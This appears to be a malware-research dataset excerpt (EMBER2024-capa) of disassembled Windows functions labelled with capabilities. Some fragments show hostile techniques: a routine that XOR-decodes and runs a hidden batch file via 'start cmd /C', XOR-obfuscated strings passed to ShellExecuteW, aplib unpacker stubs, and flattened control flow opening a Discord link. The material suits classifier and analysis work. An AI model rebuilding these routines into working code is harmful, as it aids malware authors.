joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018f0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2020]
mov eax, 0x2120
call fcn.1400028c0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2010], rax
movdqa xmm0, xmmword [0x1400036d0]
mov r8, rcx
movdqa xmm1, xmmword [0x1400036c0]
lea rcx, [rbp + 0x10]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, 0x1000
movdqa xmm0, xmmword [0x140003720]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm1, xmmword [0x1400036f0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x140003730]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [str.__lM_]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140003700]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140003710]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x1400036a0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x1400036b0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400036e0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140003690]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 0xf
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str._aaa.bat
mov edx, 0x1000
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x140003328]
lea rdx, [rbp + 0x10]
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
xor ebx, ebx
lea rdi, [rsp + 0x30]
nop word [rax + rax]
movsx r8d, byte [rdi]
lea rdx, [0x14000332c]
mov rcx, qword [rbp]
test bl, 1
je 0x140001a2a
xor r8d, 0x39
jmp 0x140001a2e
xor r8d, 5
call fcn.140001010
inc ebx
inc rdi
cmp ebx, 0xc1
jb 0x140001a10
mov rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rax, [rbp + 0x10]
mov edx, 0x1000
lea r9, str.start_cmd__C
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x1010]
call fcn.1400010c0
lea rcx, [rbp + 0x1010]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x2010]
xor rcx, rsp
call fcn.140001be0
lea r11, [rsp + 0x2120]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400024ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400024ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400024ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400024ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400024ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400024ec
xor al, al
add rsp, 0x28
ret
Function at 0x1400024a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008028]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400024cd
xor eax, eax
jmp 0x140002639
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002507
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002507
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002639
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000262c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000254a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002575
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002631
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400025e4
sub eax, 1
je 0x1400025e4
cmp eax, 2
jne 0x14000262c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002631
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002612
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000262c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002631
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003360
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400029a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008028]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002a73
cmp byte [rcx + 0x71], 0
je 0x140002a73
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002a6f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002a34
sub eax, 1
je 0x140002a38
cmp eax, 2
jne 0x140002a6f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003360
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002a66
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002a6f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002a1c
xor al, al
jmp 0x140002a1c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003360
add rsp, 0x60
pop rbx
ret

Function at 0x140003f1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003f66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003f66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003f66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003f66
cmp dword [rcx + 0x84], 0xe
jbe 0x140003f66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003f68
xor al, al
add rsp, 0x28
ret
Function at 0x1406e7058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406e71df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406e7089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e706f
add dl, dl
jne 0x1406e7096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e70f6
xor eax, eax
add dl, dl
jne 0x1406e70a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e71ad
add dl, dl
jne 0x1406e70b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e70c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e70d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e70dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406e70ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406e707e
mov eax, 1
add dl, dl
jne 0x1406e7106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e7113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e70fb
sub eax, ebx
mov ebx, 1
jne 0x1406e714c
mov ecx, 1
add dl, dl
jne 0x1406e712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406e713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e7123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406e7168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406e7175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e715d
cmp eax, 0x7d00
jae 0x1406e719b
cmp eax, 0x500
jb 0x1406e7196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e707e
cmp eax, 0x7f
ja 0x1406e719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406e71d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406e707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1412fb058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1412fb1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1412fb089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fb06f
add dl, dl
jne 0x1412fb096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fb0f6
xor eax, eax
add dl, dl
jne 0x1412fb0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fb1ad
add dl, dl
jne 0x1412fb0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fb0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fb0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fb0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1412fb0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1412fb07e
mov eax, 1
add dl, dl
jne 0x1412fb106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fb113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fb0fb
sub eax, ebx
mov ebx, 1
jne 0x1412fb14c
mov ecx, 1
add dl, dl
jne 0x1412fb12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1412fb13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fb123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fb07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1412fb168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1412fb175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fb15d
cmp eax, 0x7d00
jae 0x1412fb19b
cmp eax, 0x500
jb 0x1412fb196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fb07e
cmp eax, 0x7f
ja 0x1412fb19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fb07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1412fb1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1412fb07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Create process on windows
Set console window title

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov eax, dword [0x1404fd488]
mov ecx, dword [0x1404fd48c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rsp + 0x36]
cmp ecx, 0xa
setl byte [rsp + 0x37]
mov eax, 0x25f43be4
lea r15, str.Welcome_to_Heaven_______ICatt
mov r14, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdi, str.https:__discord.gg_HS3srsnN9P
mov rbx, qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, 0x522a4197
mov esi, 0x7e1e1ff
cmp eax, 0x25f43be3
jg 0x1400010c7
cmp eax, 0x8b66077f
je 0x1400010f0
cmp eax, 0x7e1e1ff
jne 0x140001059
mov rcx, r15
call r14
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
xor r9d, r9d
call rbx
call fcn.14000113b
call fcn.1400045c3
call fcn.14001b8a4
mov eax, dword [0x1404fd488]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8b66077f
cmove eax, ebp
cmp dword [0x1404fd48c], 0xa
cmovl eax, ebp
jmp 0x140001059
cmp eax, 0x522a4197
je 0x14000112c
cmp eax, 0x25f43be4
jne 0x140001059
mov cl, byte [rsp + 0x36]
cmp byte [rsp + 0x37], 0
mov eax, 0x8b66077f
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x140001059
mov rcx, r15
call r14
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
xor r9d, r9d
call rbx
call fcn.14000113b
call fcn.1400045c3
call fcn.14001b8a4
mov eax, 0x7e1e1ff
jmp 0x140001059
xor eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1404bf26c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1404bf29a
xor eax, eax
jmp 0x1404bf380
cmp qword [rcx + 0x68], 0
je 0x1404bf2ab
call fcn.1404be970
jmp 0x1404bf380
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1404bf2c2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1404bf2c4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1404bf2f6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1404c2b70
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1404bf37a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1404bf32d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1404bf356
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1404cab20
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1404bf37a
cmp rsi, rbx
ja 0x1404bf334
test rsi, rsi
je 0x1404bf37a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1404cab20
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1404bf39c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1404bf3cb
call fcn.1404bea34
jmp 0x1404bf442
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1404bf3e2
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1404bf3e4
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1404bf43c
test ecx, ecx
jle 0x1404bf41d
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call fcn.1404c2b70
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1404bf43c
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1404bf43c
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.1404caee4
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1404c0758
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1404c07a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1404c07a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1404c07a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1404c07a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1404c07a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1404c07a4
xor al, al
add rsp, 0x28
ret
Function at 0x1404c65bc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1404c66ec
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1404c6753
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1404c6753
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1404c6753
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1404c6753
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1404c6753
cmp dword [rcx + 0x84], 0xe
jbe 0x1404c6753
cmp dword [rcx + 0xf8], 0
je 0x1404c6753
mov ecx, ebx
call fcn.1404c6638
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1404c686c
cmp dword [rbp + 0x20], 0
je 0x1404c67a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1404c6694
int3

Function at 0x1404cf2d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1404cf2f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1404cf2f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001160
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140048020]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rcx
xor edx, edx
mov ecx, 0x5c
call fcn.140001150
lea edx, [rcx - 0x5b]
mov word [rsp + 0x40], ax
call fcn.140001150
lea ecx, [rdx + 0x2d]
mov word [rsp + 0x42], ax
lea edx, [rcx - 0x2c]
call fcn.140001150
lea ecx, [rdx + 0x5a]
mov word [rsp + 0x44], ax
lea edx, [rcx - 0x59]
call fcn.140001150
lea ecx, [rdx + 0x42]
mov word [rsp + 0x46], ax
lea edx, [rcx - 0x41]
call fcn.140001150
lea ecx, [rdx + 0x45]
mov word [rsp + 0x48], ax
lea edx, [rcx - 0x44]
call fcn.140001150
lea ecx, [rdx + 0x4c]
mov word [rsp + 0x4a], ax
lea edx, [rcx - 0x4b]
call fcn.140001150
lea ecx, [rdx + 0x3e]
mov word [rsp + 0x4c], ax
lea edx, [rcx - 0x3d]
call fcn.140001150
lea ecx, [rdx + 0x4f]
mov word [rsp + 0x4e], ax
lea edx, [rcx - 0x4e]
call fcn.140001150
xor ecx, ecx
mov word [rsp + 0x50], ax
lea edx, [rcx + 9]
call fcn.140001150
lea edx, [rcx + 0xa]
mov word [rsp + 0x52], ax
movzx ecx, word [0x140042684]
call fcn.140001150
movzx ecx, word [0x140042686]
mov edx, 0xb
mov word [rsp + 0x54], ax
call fcn.140001150
movzx ecx, word [0x140042688]
mov edx, 0xc
mov word [rsp + 0x56], ax
call fcn.140001150
movzx ecx, word [0x14004268a]
mov edx, 0xd
mov word [rsp + 0x58], ax
call fcn.140001150
movzx ecx, word [0x14004268c]
mov edx, 0xe
mov word [rsp + 0x5a], ax
call fcn.140001150
movzx ecx, word [0x14004268e]
mov edx, 0xf
mov word [rsp + 0x5c], ax
call fcn.140001150
movzx ecx, word [str.Unknown_exception]
mov edx, 0x10
mov word [rsp + 0x5e], ax
call fcn.140001150
movzx ecx, word [0x140042692]
mov edx, 0x11
mov word [rsp + 0x60], ax
call fcn.140001150
movzx ecx, word [0x140042694]
mov edx, 0x12
mov word [rsp + 0x62], ax
call fcn.140001150
mov word [rsp + 0x64], ax
mov r9d, 0x133
xor eax, eax
mov word [rsp + 0x66], ax
xor r10d, r10d
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x40]
lea rdx, [rdx + rcx*2]
lea ecx, [r9 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x1400012f0
mov qword [rsp + 0x30], r10
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r10d
mov edx, 0xc0000000
mov word [rsp + 0x66], r10w
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000d6f0
add rsp, 0x70
pop rbx
ret
Function at 0x1400034b0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140048020]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rdx + 0x18], 8
mov rbx, rdx
mov rdi, rcx
mov r9, rdx
jb 0x1400034e1
mov r9, qword [rdx]
cmp qword [rcx + 0x18], 8
mov r8, rdi
jb 0x1400034ee
mov r8, qword [rcx]
mov ecx, 0x72
xor edx, edx
call fcn.140001150
lea ecx, [rdx + 0x75]
mov word [rsp + 0x30], ax
lea edx, [rcx - 0x74]
call fcn.140001150
lea ecx, [rdx + 0x6d]
mov word [rsp + 0x32], ax
lea edx, [rcx - 0x6c]
call fcn.140001150
lea ecx, [rdx + 0x5f]
mov word [rsp + 0x34], ax
lea edx, [rcx - 0x5e]
call fcn.140001150
lea ecx, [rdx + 0x70]
mov word [rsp + 0x36], ax
lea edx, [rcx - 0x6f]
call fcn.140001150
xor ecx, ecx
mov word [rsp + 0x38], ax
lea edx, [rcx + 5]
call fcn.140001150
lea edx, [rcx + 6]
mov word [rsp + 0x3a], ax
movzx ecx, word [0x14004282c]
call fcn.140001150
movzx ecx, word [0x14004282e]
mov edx, 7
mov word [rsp + 0x3c], ax
call fcn.140001150
movzx ecx, word [0x140042830]
mov edx, 8
mov word [rsp + 0x3e], ax
call fcn.140001150
movzx ecx, word [0x140042832]
mov edx, 9
mov word [rsp + 0x40], ax
call fcn.140001150
movzx ecx, word [0x140042834]
mov edx, 0xa
mov word [rsp + 0x42], ax
call fcn.140001150
mov word [rsp + 0x44], ax
mov r10d, 0x133
xor eax, eax
mov word [rsp + 0x46], ax
xor esi, esi
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r10 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0xb
jb 0x1400035d0
mov dword [rsp + 0x28], esi
lea rdx, [rsp + 0x30]
xor ecx, ecx
mov qword [rsp + 0x20], rsi
mov word [rsp + 0x46], si
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x140003640
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000363b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036b6
mov rcx, r8
call fcn.14000dbc8
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 7
mov word [rdi], si
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x14000368a
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140003685
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036b6
mov rcx, r8
call fcn.14000dbc8
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000d6f0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
call fcn.14001788c
int3